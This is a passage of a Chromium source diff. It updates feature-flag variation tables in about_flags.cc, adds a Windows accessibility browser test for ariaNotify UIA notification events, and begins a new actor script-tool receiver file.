+         kApproximateGeolocationPermissionArm3Params, nullptr},
         {"- Prompt arm: Vertical", kApproximateGeolocationPermissionArm4Params,
-         std::size(kApproximateGeolocationPermissionArm4Params), nullptr},
+         nullptr},
         {"- Prompt arm: Vertical with Description",
-         kApproximateGeolocationPermissionArm5Params,
-         std::size(kApproximateGeolocationPermissionArm5Params), nullptr},
+         kApproximateGeolocationPermissionArm5Params, nullptr},
         {"- Prompt arm: Horizontal with Icon + Long Description",
-         kApproximateGeolocationPermissionArm6Params,
-         std::size(kApproximateGeolocationPermissionArm6Params), nullptr},
+         kApproximateGeolocationPermissionArm6Params, nullptr},
 };
 #endif  // BUILDFLAG(IS_ANDROID)
 
@@ -4674,12 +4238,9 @@
     {"minimum_reset_timeout_mins", "30"},
 };
 const FeatureEntry::FeatureVariation kCCTResetTimeoutVariations[] = {
-    {"- Minimum timeout 1 minute", kCCTResetTimeoutParams_1min,
-     std::size(kCCTResetTimeoutParams_1min), nullptr},
-    {"- Minimum timeout 15 minutes", kCCTResetTimeoutParams_15min,
-     std::size(kCCTResetTimeoutParams_15min), nullptr},
-    {"- Minimum timeout 30 minutes", kCCTResetTimeoutParams_30min,
-     std::size(kCCTResetTimeoutParams_30min), nullptr},
+    {"- Minimum timeout 1 minute", kCCTResetTimeoutParams_1min, nullptr},
+    {"- Minimum timeout 15 minutes", kCCTResetTimeoutParams_15min, nullptr},
+    {"- Minimum timeout 30 minutes", kCCTResetTimeoutParams_30min, nullptr},
 };
 #endif
 
@@ -4689,10 +4250,8 @@
 const FeatureEntry::FeatureParam kAndroidHubSearchTabGroupStrings[] = {
     {"enable_hub_search_tab_group_strings", "true"}};
 const FeatureEntry::FeatureVariation kAndroidHubSearchTabGroupsVariations[] = {
-    {"on Tab Groups Pane", kAndroidHubSearchTabGroupsPane,
-     std::size(kAndroidHubSearchTabGroupsPane), nullptr},
-    {"with Tab Group Strings", kAndroidHubSearchTabGroupStrings,
-     std::size(kAndroidHubSearchTabGroupStrings), nullptr},
+    {"on Tab Groups Pane", kAndroidHubSearchTabGroupsPane, nullptr},
+    {"with Tab Group Strings", kAndroidHubSearchTabGroupStrings, nullptr},
 };
 #endif  // BUILDFLAG(IS_ANDROID)
 
@@ -4702,16 +4261,13 @@
 const FeatureEntry::FeatureParam kAndroidTabHighlightingForceShiftClick[] = {
     {"force_shift_click", "true"}};
 const FeatureEntry::FeatureVariation kAndroidTabHighlightingVariations[] = {
-    {"Force Ctrl Click", kAndroidTabHighlightingForceCtrlClick,
-     std::size(kAndroidTabHighlightingForceCtrlClick), nullptr},
-    {"Force Shift Click", kAndroidTabHighlightingForceShiftClick,
-     std::size(kAndroidTabHighlightingForceShiftClick), nullptr}};
+    {"Force Ctrl Click", kAndroidTabHighlightingForceCtrlClick, nullptr},
+    {"Force Shift Click", kAndroidTabHighlightingForceShiftClick, nullptr}};
 
 const FeatureEntry::FeatureParam kTabBottomSheetDontShowFusebox[] = {
     {"dont_show_fusebox", "true"}};
 const FeatureEntry::FeatureVariation kTabBottomSheetVariations[] = {
-    {"Dont Show Fusebox", kTabBottomSheetDontShowFusebox,
-     std::size(kTabBottomSheetDontShowFusebox), nullptr}};
+    {"Dont Show Fusebox", kTabBottomSheetDontShowFusebox, nullptr}};
 
 const FeatureEntry::FeatureParam kAndroidPinnedTabsSearchBoxMovement[] = {
     {"search_box_movement", "true"}};
@@ -4723,14 +4279,11 @@
         {"search_box_squish_animation", "true"}};
 const FeatureEntry::FeatureVariation kAndroidPinnedTabsVariations[] = {
     {"Enable search box movement", kAndroidPinnedTabsSearchBoxMovement,
-     std::size(kAndroidPinnedTabsSearchBoxMovement), nullptr},
-    {"Enable search box squish animation",
-     kAndroidPinnedTabsSearchBoxSquishAnimation,
-     std::size(kAndroidPinnedTabsSearchBoxSquishAnimation), nullptr},
-    {"Enable search box movement with squish animation",
-     kAndroidPinnedTabsSearchBoxMovementWithSquishAnimation,
-     std::size(kAndroidPinnedTabsSearchBoxMovementWithSquishAnimation),
      nullptr},
+    {"Enable search box squish animation",
+     kAndroidPinnedTabsSearchBoxSquishAnimation, nullptr},
+    {"Enable search box movement with squish animation",
+     kAndroidPinnedTabsSearchBoxMovementWithSquishAnimation, nullptr},
 };
 
 const FeatureEntry::FeatureParam kAndroidTipsNotificationsTrustAndSafety[] = {
@@ -4758,30 +4311,23 @@
         {"reset_feature_tip_shown", "true"}};
 
 const FeatureEntry::FeatureVariation kAndroidTipsNotificationsVariations[] = {
-    {" - Trust and Safety", kAndroidTipsNotificationsTrustAndSafety,
-     std::size(kAndroidTipsNotificationsTrustAndSafety), nullptr},
-    {" - Essential", kAndroidTipsNotificationsEssential,
-     std::size(kAndroidTipsNotificationsEssential), nullptr},
-    {" - New Features", kAndroidTipsNotificationsNewFeatures,
-     std::size(kAndroidTipsNotificationsNewFeatures), nullptr},
+    {" - Trust and Safety", kAndroidTipsNotificationsTrustAndSafety, nullptr},
+    {" - Essential", kAndroidTipsNotificationsEssential, nullptr},
+    {" - New Features", kAndroidTipsNotificationsNewFeatures, nullptr},
     {" - Always Show Opt In", kAndroidTipsNotificationsAlwaysShowOptInPromo,
-     std::size(kAndroidTipsNotificationsAlwaysShowOptInPromo), nullptr},
+     nullptr},
     {" - Schedule Instant Notification",
-     kAndroidTipsNotificationsScheduleInstantNotification,
-     std::size(kAndroidTipsNotificationsScheduleInstantNotification), nullptr},
+     kAndroidTipsNotificationsScheduleInstantNotification, nullptr},
     {" - Schedule Delayed Notification",
-     kAndroidTipsNotificationsScheduleDelayedNotification,
-     std::size(kAndroidTipsNotificationsScheduleDelayedNotification), nullptr},
+     kAndroidTipsNotificationsScheduleDelayedNotification, nullptr},
     {" - Reset Feature Tip Shown",
-     kAndroidTipsNotificationsResetFeatureTipShown,
-     std::size(kAndroidTipsNotificationsResetFeatureTipShown), nullptr},
+     kAndroidTipsNotificationsResetFeatureTipShown, nullptr},
 };
 
 const FeatureEntry::FeatureParam kRobustWindowManagementBulkCloseEnabled[] = {
     {"bulk_close", "true"}};
 const FeatureEntry::FeatureVariation kRobustWindowManagementVariations[] = {
-    {"Bulk Close", kRobustWindowManagementBulkCloseEnabled,
-     std::size(kRobustWindowManagementBulkCloseEnabled), nullptr}};
+    {"Bulk Close", kRobustWindowManagementBulkCloseEnabled, nullptr}};
 
 const FeatureEntry::FeatureParam
     kRobustWindowManagementExperimentalOpenAdjacently[] = {
@@ -4789,7 +4335,6 @@
 const FeatureEntry::FeatureVariation
     kRobustWindowManagementExperimentalVariations[] = {
         {"Open Fullscreen", kRobustWindowManagementExperimentalOpenAdjacently,
-         std::size(kRobustWindowManagementExperimentalOpenAdjacently),
          nullptr}};
 
 #endif  // BUILDFLAG(IS_ANDROID)
@@ -4807,10 +4352,8 @@
 
 const FeatureEntry::FeatureVariation
     kMobilePromoOnDesktopForcePromoTypeVariations[] = {
-        {"QRCode", kMobilePromoOnDesktopForcePromoTypeQRCode,
-         std::size(kMobilePromoOnDesktopForcePromoTypeQRCode), nullptr},
-        {"Reminder", kMobilePromoOnDesktopForcePromoTypeReminder,
-         std::size(kMobilePromoOnDesktopForcePromoTypeReminder), nullptr},
+        {"QRCode", kMobilePromoOnDesktopForcePromoTypeQRCode, nullptr},
+        {"Reminder", kMobilePromoOnDesktopForcePromoTypeReminder, nullptr},
 };
 
 const FeatureEntry::FeatureParam kMobilePromoOnDesktopLens[] = {
@@ -4846,44 +4389,30 @@
         {kMobilePromoOnDesktopNotificationParam, "true"}};
 
 const FeatureEntry::FeatureVariation kMobilePromoOnDesktopVariations[] = {
-    {" - Lens Promo", kMobilePromoOnDesktopLens,
-     std::size(kMobilePromoOnDesktopLens), nullptr},
+    {" - Lens Promo", kMobilePromoOnDesktopLens, nullptr},
     {" - Lens Promo with push notification",
-     kMobilePromoOnDesktopLensNotification,
-     std::size(kMobilePromoOnDesktopLensNotification), nullptr},
-    {" - ESB", kMobilePromoOnDesktopESB, std::size(kMobilePromoOnDesktopESB),
-     nullptr},
+     kMobilePromoOnDesktopLensNotification, nullptr},
+    {" - ESB", kMobilePromoOnDesktopESB, nullptr},
     {" - ESB with push notification", kMobilePromoOnDesktopESBNotification,
-     std::size(kMobilePromoOnDesktopESBNotification), nullptr},
-    {" - PW Autofill", kMobilePromoOnDesktopAutofill,
-     std::size(kMobilePromoOnDesktopAutofill), nullptr},
+     nullptr},
+    {" - PW Autofill", kMobilePromoOnDesktopAutofill, nullptr},
     {" - PW Autofill with push notification",
-     kMobilePromoOnDesktopAutofillNotification,
-     std::size(kMobilePromoOnDesktopAutofillNotification), nullptr},
-    {" - Tab Groups", kMobilePromoOnDesktopTabGroups,
-     std::size(kMobilePromoOnDesktopTabGroups), nullptr},
+     kMobilePromoOnDesktopAutofillNotification, nullptr},
+    {" - Tab Groups", kMobilePromoOnDesktopTabGroups, nullptr},
     {" - Tab Groups with push notification",
-     kMobilePromoOnDesktopTabGroupsNotification,
-     std::size(kMobilePromoOnDesktopTabGroupsNotification), nullptr},
-    {" - Price Tracking", kMobilePromoOnDesktopPriceTracking,
-     std::size(kMobilePromoOnDesktopPriceTracking), nullptr},
+     kMobilePromoOnDesktopTabGroupsNotification, nullptr},
+    {" - Price Tracking", kMobilePromoOnDesktopPriceTracking, nullptr},
     {" - Price Tracking with push notification",
-     kMobilePromoOnDesktopPriceTrackingNotification,
-     std::size(kMobilePromoOnDesktopPriceTrackingNotification), nullptr},
+     kMobilePromoOnDesktopPriceTrackingNotification, nullptr},
 };
 
 const FeatureEntry::FeatureVariation
     kMobilePromoOnDesktopWithQRCodeVariations[] = {
-        {" - Lens Promo", kMobilePromoOnDesktopLens,
-         std::size(kMobilePromoOnDesktopLens), nullptr},
-        {" - ESB", kMobilePromoOnDesktopESB,
-         std::size(kMobilePromoOnDesktopESB), nullptr},
-        {" - PW Autofill", kMobilePromoOnDesktopAutofill,
-         std::size(kMobilePromoOnDesktopAutofill), nullptr},
-        {" - Tab Groups", kMobilePromoOnDesktopTabGroups,
-         std::size(kMobilePromoOnDesktopTabGroups), nullptr},
-        {" - Price Tracking", kMobilePromoOnDesktopPriceTracking,
-         std::size(kMobilePromoOnDesktopPriceTracking), nullptr},
+        {" - Lens Promo", kMobilePromoOnDesktopLens, nullptr},
+        {" - ESB", kMobilePromoOnDesktopESB, nullptr},
+        {" - PW Autofill", kMobilePromoOnDesktopAutofill, nullptr},
+        {" - Tab Groups", kMobilePromoOnDesktopTabGroups, nullptr},
+        {" - Price Tracking", kMobilePromoOnDesktopPriceTracking, nullptr},
 };
 
 #if BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_MAC) || BUILDFLAG(IS_WIN) || \
@@ -4898,12 +4427,9 @@
     {"max_customize_chrome_auto_shown_count", "0"},
     {"max_customize_chrome_auto_shown_session_count", "0"}};
 const FeatureEntry::FeatureVariation kNtpCustomizeChromeAutoOpenVariations[] = {
-    {"- On every NTP", kNtpCustomizeChromeAutoOpenOnEveryNTP,
-     std::size(kNtpCustomizeChromeAutoOpenOnEveryNTP), nullptr},
-    {"- First NTP only", kNtpCustomizeChromeAutoOpenOnFirstNTPOnly,
-     std::size(kNtpCustomizeChromeAutoOpenOnFirstNTPOnly), nullptr},
-    {"- IPH only", kNtpCustomizeChromeAutoOpenIPHOnly,
-     std::size(kNtpCustomizeChromeAutoOpenIPHOnly), nullptr},
+    {"- On every NTP", kNtpCustomizeChromeAutoOpenOnEveryNTP, nullptr},
+    {"- First NTP only", kNtpCustomizeChromeAutoOpenOnFirstNTPOnly, nullptr},
+    {"- IPH only", kNtpCustomizeChromeAutoOpenIPHOnly, nullptr},
 };
 #endif  // BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_MAC) || BUILDFLAG(IS_WIN) || \
         // BUILDFLAG(IS_CHROMEOS)
@@ -4920,16 +4446,11 @@
     {"PolicyRegistrationDelay", "24h"}};
 
 const FeatureEntry::FeatureVariation kPolicyRegistrationDelayVariations[] = {
-    {"2 minutes", kPolicyRegistrationDelay2m,
-     std::size(kPolicyRegistrationDelay2m), nullptr},
-    {"1 hour", kPolicyRegistrationDelay1h,
-     std::size(kPolicyRegistrationDelay1h), nullptr},
-    {"6 hours", kPolicyRegistrationDelay6h,
-     std::size(kPolicyRegistrationDelay6h), nullptr},
-    {"12 hours", kPolicyRegistrationDelay12h,
-     std::size(kPolicyRegistrationDelay12h), nullptr},
-    {"24 hours", kPolicyRegistrationDelay24h,
-     std::size(kPolicyRegistrationDelay24h), nullptr},
+    {"2 minutes", kPolicyRegistrationDelay2m, nullptr},
+    {"1 hour", kPolicyRegistrationDelay1h, nullptr},
+    {"6 hours", kPolicyRegistrationDelay6h, nullptr},
+    {"12 hours", kPolicyRegistrationDelay12h, nullptr},
+    {"24 hours", kPolicyRegistrationDelay24h, nullptr},
 };
 
 #if BUILDFLAG(ENABLE_DICE_SUPPORT)
@@ -4947,20 +4468,15 @@
 const FeatureEntry::FeatureVariation
     kPolicyDisclaimerRegistrationRetryDelayVariations[] = {
         {"Enabled - Retry every 2 minutes",
-         kPolicyDisclaimerRegistrationRetryDelay2m,
-         std::size(kPolicyDisclaimerRegistrationRetryDelay2m), nullptr},
+         kPolicyDisclaimerRegistrationRetryDelay2m, nullptr},
         {"Enabled - Retry every 1 hour",
-         kPolicyDisclaimerRegistrationRetryDelay1h,
-         std::size(kPolicyDisclaimerRegistrationRetryDelay1h), nullptr},
+         kPolicyDisclaimerRegistrationRetryDelay1h, nullptr},
         {"Enabled - Retry every 6 hours",
-         kPolicyDisclaimerRegistrationRetryDelay6h,
-         std::size(kPolicyDisclaimerRegistrationRetryDelay6h), nullptr},
+         kPolicyDisclaimerRegistrationRetryDelay6h, nullptr},
         {"Enabled - Retry every 12 hours",
-         kPolicyDisclaimerRegistrationRetryDelay12h,
-         std::size(kPolicyDisclaimerRegistrationRetryDelay12h), nullptr},
+         kPolicyDisclaimerRegistrationRetryDelay12h, nullptr},
         {"Enabled - Retry every 24 hours",
-         kPolicyDisclaimerRegistrationRetryDelay24h,
-         std::size(kPolicyDisclaimerRegistrationRetryDelay24h), nullptr},
+         kPolicyDisclaimerRegistrationRetryDelay24h, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -4971,9 +4487,9 @@
 const FeatureEntry::FeatureVariation
     kOAuthMultiloginCookieBindingEnforcementVariations[] = {
         {"without enforcement", kOAuthMultiloginCookieBindingWithoutEnforcement,
-         std::size(kOAuthMultiloginCookieBindingWithoutEnforcement), nullptr},
+         nullptr},
         {"with enforcement", kOAuthMultiloginCookieBindingWithEnforcement,
-         std::size(kOAuthMultiloginCookieBindingWithEnforcement), nullptr},
+         nullptr},
 };
 #endif  // BUILDFLAG(ENABLE_DICE_SUPPORT)
 
@@ -4992,17 +4508,13 @@
     {"seamless-signin-string-type", "signinButton"}};
 const FeatureEntry::FeatureVariation kSeamlessSigninVariations[] = {
     {"with two buttons layout and \"Continue as\" button (group 1)",
-     kSeamlessSigninTwoButtonsContinue,
-     std::size(kSeamlessSigninTwoButtonsContinue), nullptr},
+     kSeamlessSigninTwoButtonsContinue, nullptr},
     {"with compact layout and \"Continue as\" button (group 2)",
-     kSeamlessSigninCompactContinue, std::size(kSeamlessSigninCompactContinue),
-     nullptr},
+     kSeamlessSigninCompactContinue, nullptr},
     {"with two buttons layout and \"Sign in as\" button (group 3)",
-     kSeamlessSigninTwoButtonsSignin,
-     std::size(kSeamlessSigninTwoButtonsSignin), nullptr},
+     kSeamlessSigninTwoButtonsSignin, nullptr},
     {"with compact layout and \"Sign in as\" button (group 4)",
-     kSeamlessSigninCompactSignin, std::size(kSeamlessSigninCompactSignin),
-     nullptr}};
+     kSeamlessSigninCompactSignin, nullptr}};
 #endif  // BUILDFLAG(IS_ANDROID)
 
 #if BUILDFLAG(IS_WIN) || BUILDFLAG(IS_MAC) || BUILDFLAG(IS_LINUX)
@@ -5018,17 +4530,12 @@
     {"profile-picker-variation", "keep-everything-in-chrome"}};
 
 const FeatureEntry::FeatureVariation kProfilePickerTextVariations[] = {
-    {"V1: Keep work and life separate", kProfilePickerTextVariation1,
-     std::size(kProfilePickerTextVariation1), nullptr},
-    {"V2: Got another Google Account?", kProfilePickerTextVariation2,
-     std::size(kProfilePickerTextVariation2), nullptr},
+    {"V1: Keep work and life separate", kProfilePickerTextVariation1, nullptr},
+    {"V2: Got another Google Account?", kProfilePickerTextVariation2, nullptr},
     {"V3: Keep school, side projects, and other tasks separate",
-     kProfilePickerTextVariation3, std::size(kProfilePickerTextVariation3),
-     nullptr},
-    {"V4: Sharing a computer?", kProfilePickerTextVariation4,
-     std::size(kProfilePickerTextVariation4), nullptr},
-    {"V5: Keep everything in Chrome", kProfilePickerTextVariation5,
-     std::size(kProfilePickerTextVariation5), nullptr},
+     kProfilePickerTextVariation3, nullptr},
+    {"V4: Sharing a computer?", kProfilePickerTextVariation4, nullptr},
+    {"V5: Keep everything in Chrome", kProfilePickerTextVariation5, nullptr},
 };
 #endif  // BUILDFLAG(IS_WIN) || BUILDFLAG(IS_MAC) || BUILDFLAG(IS_LINUX)
 
@@ -5037,15 +4544,13 @@
     {"dynamic_width_enabled", "false"}};
 const FeatureEntry::FeatureVariation kAndroidBookmarkBarFastFollowVariations[] =
     {{"(Standard Width - with animations)",
-      kAndroidBookmarkBarFastFollowStandard,
-      std::size(kAndroidBookmarkBarFastFollowStandard), nullptr}};
+      kAndroidBookmarkBarFastFollowStandard, nullptr}};
 const FeatureEntry::FeatureParam kDefaultBrowserPromoEntryPointSettingsOnly[] =
     {{"show_app_menu_item", "false"}};
 const FeatureEntry::FeatureVariation
     kDefaultBrowserPromoEntryPointVariations[] = {
         {"(Settings Only - No App Menu)",
-         kDefaultBrowserPromoEntryPointSettingsOnly,
-         std::size(kDefaultBrowserPromoEntryPointSettingsOnly), nullptr}};
+         kDefaultBrowserPromoEntryPointSettingsOnly, nullptr}};
 const FeatureEntry::FeatureParam kAndroidDesktopZoomScalingFactorSmall[] = {
     {"desktop-zoom-scaling-factor", "109"},
     {"monitor-zoom-scaling-factor", "120"}};
@@ -5057,11 +4562,11 @@
     {"monitor-zoom-scaling-factor", "130"}};
 const FeatureEntry::FeatureVariation kAndroidDesktopZoomScalingVariations[] = {
     {"with 109 scaling, 120 monitor", kAndroidDesktopZoomScalingFactorSmall,
-     std::size(kAndroidDesktopZoomScalingFactorSmall), nullptr},
+     nullptr},
     {"with 115 scaling, 125 monitor", kAndroidDesktopZoomScalingFactorMedium,
-     std::size(kAndroidDesktopZoomScalingFactorMedium), nullptr},
+     nullptr},
     {"with 120 scaling, 130 monitor", kAndroidDesktopZoomScalingFactorLarge,
-     std::size(kAndroidDesktopZoomScalingFactorLarge), nullptr}};
+     nullptr}};
 #endif  // BUILDFLAG(IS_ANDROID)
 
 const FeatureEntry::FeatureParam kContextualTaskPermanentButton[] = {
@@ -5079,17 +4584,13 @@
 
 const FeatureEntry::FeatureVariation kContextualTaskEntryPointVariations[] = {
     {"Arm 1: Full bundle with ephemeral toolbar button",
-     kContextualTaskEphemeralButton, std::size(kContextualTaskEphemeralButton),
-     nullptr},
+     kContextualTaskEphemeralButton, nullptr},
     {"Arm 2: Full bundle, without AIM link clicks opening side panel",
-     kContextualTaskDisableSidePanel,
-     std::size(kContextualTaskDisableSidePanel), nullptr},
+     kContextualTaskDisableSidePanel, nullptr},
     {"Arm 3: Full bundle, without Lens migration", kContextualTaskDisableLens,
-     std::size(kContextualTaskDisableLens), nullptr},
-    {"permanent toolbar button", kContextualTaskPermanentButton,
-     std::size(kContextualTaskPermanentButton), nullptr},
-    {"page action chip", kContextualTaskPageAction,
-     std::size(kContextualTaskPageAction), nullptr}};
+     nullptr},
+    {"permanent toolbar button", kContextualTaskPermanentButton, nullptr},
+    {"page action chip", kContextualTaskPageAction, nullptr}};
 
 const FeatureEntry::FeatureParam kTaskScopedSidePanel[] = {
     {"ContextualTasksTaskScopedSidePanel", "true"}};
@@ -5097,10 +4598,8 @@
     {"ContextualTasksTaskScopedSidePanel", "false"}};
 
 const FeatureEntry::FeatureVariation kContextualTaskContextVariations[] = {
-    {" - Task scoped side panel", kTaskScopedSidePanel,
-     std::size(kTaskScopedSidePanel), nullptr},
-    {" - Tab scoped side panel", kTabScopedSidePanel,
-     std::size(kTabScopedSidePanel), nullptr}};
+    {" - Task scoped side panel", kTaskScopedSidePanel, nullptr},
+    {" - Tab scoped side panel", kTabScopedSidePanel, nullptr}};
 
 #if BUILDFLAG(IS_ANDROID)
 const FeatureEntry::FeatureParam kAnimatedProgressBar30FpsCap[] = {
@@ -5110,10 +4609,8 @@
 
 const FeatureEntry::FeatureVariation
     kAndroidAnimatedProgressBarInBrowserVariations[] = {
-        {"with 30fps cap", kAnimatedProgressBar30FpsCap,
-         std::size(kAnimatedProgressBar30FpsCap), nullptr},
-        {"with 60fsp cap", kAnimatedProgressBar60FpsCap,
-         std::size(kAnimatedProgressBar60FpsCap), nullptr}};
+        {"with 30fps cap", kAnimatedProgressBar30FpsCap, nullptr},
+        {"with 60fsp cap", kAnimatedProgressBar60FpsCap, nullptr}};
 #endif  // BUILDFLAG(IS_ANDROID)
 
 #if BUILDFLAG(IS_ANDROID)
@@ -5138,9 +4635,7 @@
 const FeatureEntry::FeatureVariation
     kDeviceBoundSessionsForRestrictedSitesExperimentIdVariations[] = {
         {"- set_from_flags",
-         kDeviceBoundSessionsForRestrictedSitesExperimentIdFromFlags,
-         std::size(kDeviceBoundSessionsForRestrictedSitesExperimentIdFromFlags),
-         nullptr}};
+         kDeviceBoundSessionsForRestrictedSitesExperimentIdFromFlags, nullptr}};
 
 // RECORDING USER METRICS FOR FLAGS:
 // -----------------------------------------------------------------------------
@@ -5785,6 +5280,11 @@
      FEATURE_VALUE_TYPE(ash::features::kOngoingProcesses)},
 #endif  // BUILDFLAG(IS_CHROMEOS)
 #if BUILDFLAG(IS_ANDROID)
+    {"reader-mode-blur-transition-animation",
+     flag_descriptions::kReaderModeBlurTransitionAnimationName,
+     flag_descriptions::kReaderModeBlurTransitionAnimationDescription,
+     kOsAndroid,
+     FEATURE_VALUE_TYPE(dom_distiller::kReaderModeBlurTransitionAnimation)},
     {"reader-mode-distill-in-app",
      flag_descriptions::kReaderModeDistillInAppName,
      flag_descriptions::kReaderModeDistillInAppDescription, kOsAndroid,
@@ -8180,9 +7680,6 @@
 #endif
 
 #if BUILDFLAG(IS_CHROMEOS)
-    {"allow-dsp-based-aec", flag_descriptions::kCrOSDspBasedAecAllowedName,
-     flag_descriptions::kCrOSDspBasedAecAllowedDescription, kOsCrOS,
-     FEATURE_VALUE_TYPE(media::kCrOSDspBasedAecAllowed)},
     {"allow-dsp-based-ns", flag_descriptions::kCrOSDspBasedNsAllowedName,
      flag_descriptions::kCrOSDspBasedNsAllowedDescription, kOsCrOS,
      FEATURE_VALUE_TYPE(media::kCrOSDspBasedNsAllowed)},
@@ -10570,11 +10067,6 @@
      flag_descriptions::kAndroidZoomIndicatorDescription, kOsAndroid,
      FEATURE_VALUE_TYPE(browser_ui::kAndroidZoomIndicator)},
 
-    {"android-history-pane-favicons",
-     flag_descriptions::kAndroidHistoryPaneFaviconsName,
-     flag_descriptions::kAndroidHistoryPaneFaviconsDescription, kOsAndroid,
-     FEATURE_VALUE_TYPE(ui::kAndroidHistoryPaneFavicons)},
-
     {"tab-bottom-sheet", flag_descriptions::kTabBottomSheetName,
      flag_descriptions::kTabBottomSheetDescription, kOsAndroid,
      FEATURE_WITH_PARAMS_VALUE_TYPE(chrome::android::kTabBottomSheet,
diff --git a/chrome/browser/accessibility/aria_notify_uia_browsertest_win.cc b/chrome/browser/accessibility/aria_notify_uia_browsertest_win.cc
new file mode 100644
index 0000000..22b9d02
--- /dev/null
+++ b/chrome/browser/accessibility/aria_notify_uia_browsertest_win.cc
@@ -0,0 +1,130 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "base/strings/utf_string_conversions.h"
+#include "base/test/scoped_feature_list.h"
+#include "base/time/time.h"
+#include "chrome/browser/ui/browser.h"
+#include "chrome/browser/ui/tabs/tab_strip_model.h"
+#include "chrome/browser/ui/views/accessibility/uia_accessibility_event_waiter.h"
+#include "chrome/browser/ui/views/frame/browser_view.h"
+#include "chrome/test/base/in_process_browser_test.h"
+#include "chrome/test/base/ui_test_utils.h"
+#include "content/public/browser/web_contents.h"
+#include "content/public/test/accessibility_notification_waiter.h"
+#include "content/public/test/browser_test.h"
+#include "content/public/test/browser_test_utils.h"
+#include "content/public/test/scoped_accessibility_mode_override.h"
+#include "net/test/embedded_test_server/embedded_test_server.h"
+#include "third_party/blink/public/common/features.h"
+#include "ui/accessibility/accessibility_features.h"
+#include "ui/aura/window.h"
+#include "ui/aura/window_tree_host.h"
+
+#include <uiautomation.h>
+
+namespace {
+
+// Test class for verifying that AriaNotify triggers UIA_NotificationEventId.
+class AriaNotifyUIABrowserTest : public InProcessBrowserTest {
+ public:
+  AriaNotifyUIABrowserTest() {
+    // Enable both AriaNotify (for the web API) and UiaProvider (so that
+    // UIA notification events are fired instead of using the IA2 fallback).
+    scoped_feature_list_.InitWithFeatures(
+        /*enabled_features=*/{blink::features::kAriaNotify,
+                              ::features::kUiaProvider},
+        {});
+  }
+
+  AriaNotifyUIABrowserTest(const AriaNotifyUIABrowserTest&) = delete;
+  AriaNotifyUIABrowserTest& operator=(const AriaNotifyUIABrowserTest&) = delete;
+
+  ~AriaNotifyUIABrowserTest() override = default;
+
+ protected:
+  void SetUpOnMainThread() override {
+    InProcessBrowserTest::SetUpOnMainThread();
+    ASSERT_TRUE(embedded_test_server()->Start());
+    scoped_accessibility_mode_.emplace(GetWebContents(), ui::kAXModeComplete);
+  }
+
+  void TearDownOnMainThread() override { scoped_accessibility_mode_.reset(); }
+
+  content::WebContents* GetWebContents() const {
+    return browser()->tab_strip_model()->GetActiveWebContents();
+  }
+
+  HWND GetWebPageHwnd() const {
+    return browser()
+        ->window()
+        ->GetNativeWindow()
+        ->GetHost()
+        ->GetAcceleratedWidget();
+  }
+
+  void NavigateToHtml(const std::string& html) {
+    GURL url("data:text/html," + html);
+    ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), url));
+  }
+
+ private:
+  base::test::ScopedFeatureList scoped_feature_list_;
+  std::optional<content::ScopedAccessibilityModeOverride>
+      scoped_accessibility_mode_;
+};
+
+// Tests that calling ariaNotify raises a UIA_NotificationEventId event.
+// This test uses the uia_event_id field to wait directly for the UIA
+// notification event instead of mapping from ax::mojom::Event.
+IN_PROC_BROWSER_TEST_F(AriaNotifyUIABrowserTest,
+                       AriaNotifyRaisesUIANotificationEvent) {
+  // Create the waiter BEFORE navigation to ensure we don't miss kLoadComplete.
+  content::AccessibilityNotificationWaiter tree_waiter(
+      GetWebContents(), ax::mojom::Event::kLoadComplete);
+
+  // Load a page with a button that triggers ariaNotify.
+  NavigateToHtml(R"HTML(
+    <!DOCTYPE html>
+    <html>
+    <body>
+      <button id="notifyButton" aria-label="Notification Trigger">
+        Trigger Notification
+      </button>
+      <script>
+        document.getElementById('notifyButton').addEventListener('click',
+          function() {
+            this.ariaNotify('Test notification message');
+          });
+      </script>
+    </body>
+    </html>
+  )HTML");
+
+  // Wait for the accessibility tree to be ready.
+  ASSERT_TRUE(tree_waiter.WaitForNotification());
+
+  // Set up the UIA event waiter for UIA_NotificationEventId.
+  // NOTE: The waiter must be created AFTER the accessibility tree is ready,
+  // because the UIA event subscriptions can interfere with tree initialization
+  // and cause hangs on Windows.
+  UiaAccessibilityWaiterInfo info = {GetWebPageHwnd(),
+                                     /*role=*/L"button",
+                                     /*name=*/L"Notification Trigger",
+                                     /*event=*/ax::mojom::Event::kNone,
+                                     /*uia_event_id=*/UIA_NotificationEventId};
+  UiaAccessibilityEventWaiter waiter(info);
+
+  // Click the button to trigger ariaNotify.
+  ASSERT_TRUE(ExecJs(GetWebContents(),
+                     "document.getElementById('notifyButton').click();"));
+
+  // Wait for the UIA notification event to be raised.
+  waiter.Wait();
+
+  // Verify the notification string was captured correctly.
+  EXPECT_EQ(waiter.GetNotificationString(), L"Test notification message");
+}
+
+}  // namespace
diff --git a/chrome/browser/actor/BUILD.gn b/chrome/browser/actor/BUILD.gn
index 71bc8ed..225544e 100644
--- a/chrome/browser/actor/BUILD.gn
+++ b/chrome/browser/actor/BUILD.gn
@@ -96,6 +96,8 @@
     "actor_metrics.cc",
     "actor_navigation_throttle.cc",
     "actor_proto_conversion.cc",
+    "actor_script_tool_receiver.cc",
+    "actor_script_tool_receiver.h",
     "actor_switches.cc",
     "actor_tab_data.cc",
     "actor_task.cc",
diff --git a/chrome/browser/actor/actor_script_tool_receiver.cc b/chrome/browser/actor/actor_script_tool_receiver.cc
new file mode 100644
index 0000000..ff7bedc
--- /dev/null
+++ b/chrome/browser/actor/actor_script_tool_receiver.cc
@@ -0,0 +1,46 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "chrome/browser/actor/actor_script_tool_receiver.h"
+
+#include "chrome/browser/actor/actor_keyed_service.h"
+#include "chrome/browser/actor/actor_task.h"
+#include "content/public/browser/render_frame_host.h"
+#include "content/public/browser/web_contents.h"
+
+namespace actor {
+
+// static
+void ActorScriptToolReceiver::Create(
+    content::RenderFrameHost* render_frame_host,
+    mojo::PendingReceiver<blink::mojom::ScriptToolHost> receiver) {
+  new ActorScriptToolReceiver(*render_frame_host, std::move(receiver));
+}
+
+ActorScriptToolReceiver::ActorScriptToolReceiver(
+    content::RenderFrameHost& render_frame_host,
+    mojo::PendingReceiver<blink::mojom::ScriptToolHost> receiver)
+    : DocumentService(render_frame_host, std::move(receiver)) {}
+
